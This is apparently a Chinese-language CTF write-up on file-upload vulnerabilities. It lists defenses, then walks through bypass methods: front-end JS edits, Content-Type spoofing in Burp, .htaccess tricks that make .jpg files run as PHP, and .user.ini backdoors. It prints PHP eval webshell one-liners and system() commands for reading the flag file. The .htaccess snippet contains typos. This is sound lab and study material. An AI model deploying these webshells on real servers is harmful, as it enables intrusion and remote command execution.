文件上传及比较常见的题目解析

  • 文件上传漏洞

    • 程序员对未上传的文件进行严格的厌憎和过滤,导致用户可以上传可执行的动态脚本文件
      • 头像上传、文件上传、媒体上传
    • 防御措施

      • 上传文件的存储位置与服务器分离
      • 上传文件重新修改文件名、文件后缀名
        • 看后缀名是否防止修改
          • 前端传递,后端校验
      • 文件上传的上传保存路径根据业务进行分离;下载根据重新生成的文件名下载
    • 文件上传,验证/绕过,措施

      • 前端/js类绕过

        • 页面直接修改js上传文件后缀进行修改
        • 抓包改包,改后缀名
          • wenjain.jpg-->抓包-->wenjian.jsp
      • 后端
        *

php语句不对,重写(关火绒)

js前端

查看元素

修改后缀php

上传,文件路径

post

x=system("ls");

查到目录,用x=system("ls ../");

查看上一级,找到flag.php

x=system("tac ../flag.php");


利用bp改content-type

首先,尝试第一种方法,不可行

用bp抓包,发现content-type特点

尝试修改元素后上传php一句话木马

抓包,修改type为image/png

放行

上传成功

按第一步来

x=system("tac ../flag.php");

flag出现

如果把下面的png格式修改为

<?php eval($_POST[x]);?>

是不可以找到flag的

不可以是图片木马

不能连接蚁剑,一个png一个php


.htaccess文件

apache的一个配置文件,负责相关目录下的网页配置

实现网页301重定向,自定义404页面错误,改变文件扩展名,允许或阻止特定的用户或目录的访问,禁止目录列表,配置默认文档等

<fileMatch "\.jpg>

SEHandler application/x-httpd-php

</FileMatch>

先分析源码

对php,asp,jsp等进行过滤,大小写的方式也不行

phP&&php5不行的话

但是可以上传.jpg文件,可是 .jpg只有解析成 php文件才能getshell

因此我们需要先上传 .htaccess 文件,然后再上传 .jpg文件

stack.jpg

<?php eval($_POST['x']);?>

找绝对路径,连接蚁剑

.user.ini其实是用户自定义的一个php.ini

是PHP的全局配置文件,对web服务起作用

利用这个文件来构造后门和隐藏后门

按前面方法继续尝试,发现不行,大小写,加数字,也不可以,需要重新下载

相关推荐
子木鑫5 天前
CTF命令注入
计算机网络·ctf
one____dream6 天前
【网安】Reverse-非常规题目
linux·python·安全·网络安全·ctf
one____dream6 天前
Reverse-elrond32
安全·网络安全·ctf
运筹vivo@8 天前
BUUCTF: [BSidesCF 2020]Had a bad day
web安全·ctf
三七吃山漆8 天前
[网鼎杯 2020 朱雀组]phpweb
php·ctf·网鼎杯
unable code8 天前
磁盘取证-Flying_High
网络安全·ctf·misc·1024程序员节·磁盘取证
运筹vivo@8 天前
BUUCTF : [RoarCTF 2019]Easy Java
java·web安全·ctf
快起来搬砖了8 天前
UniApp 全端兼容 OSS 视频上传实现方案
小程序·uni-app·app·h5·文件上传·oss文件上传
unable code9 天前
磁盘取证-ColorfulDisk
网络安全·ctf·misc·1024程序员节·内存取证
unable code10 天前
磁盘取证-[第十章][10.1.2 磁盘取证方法]磁盘取证1
网络安全·ctf·misc·1024程序员节·内存取证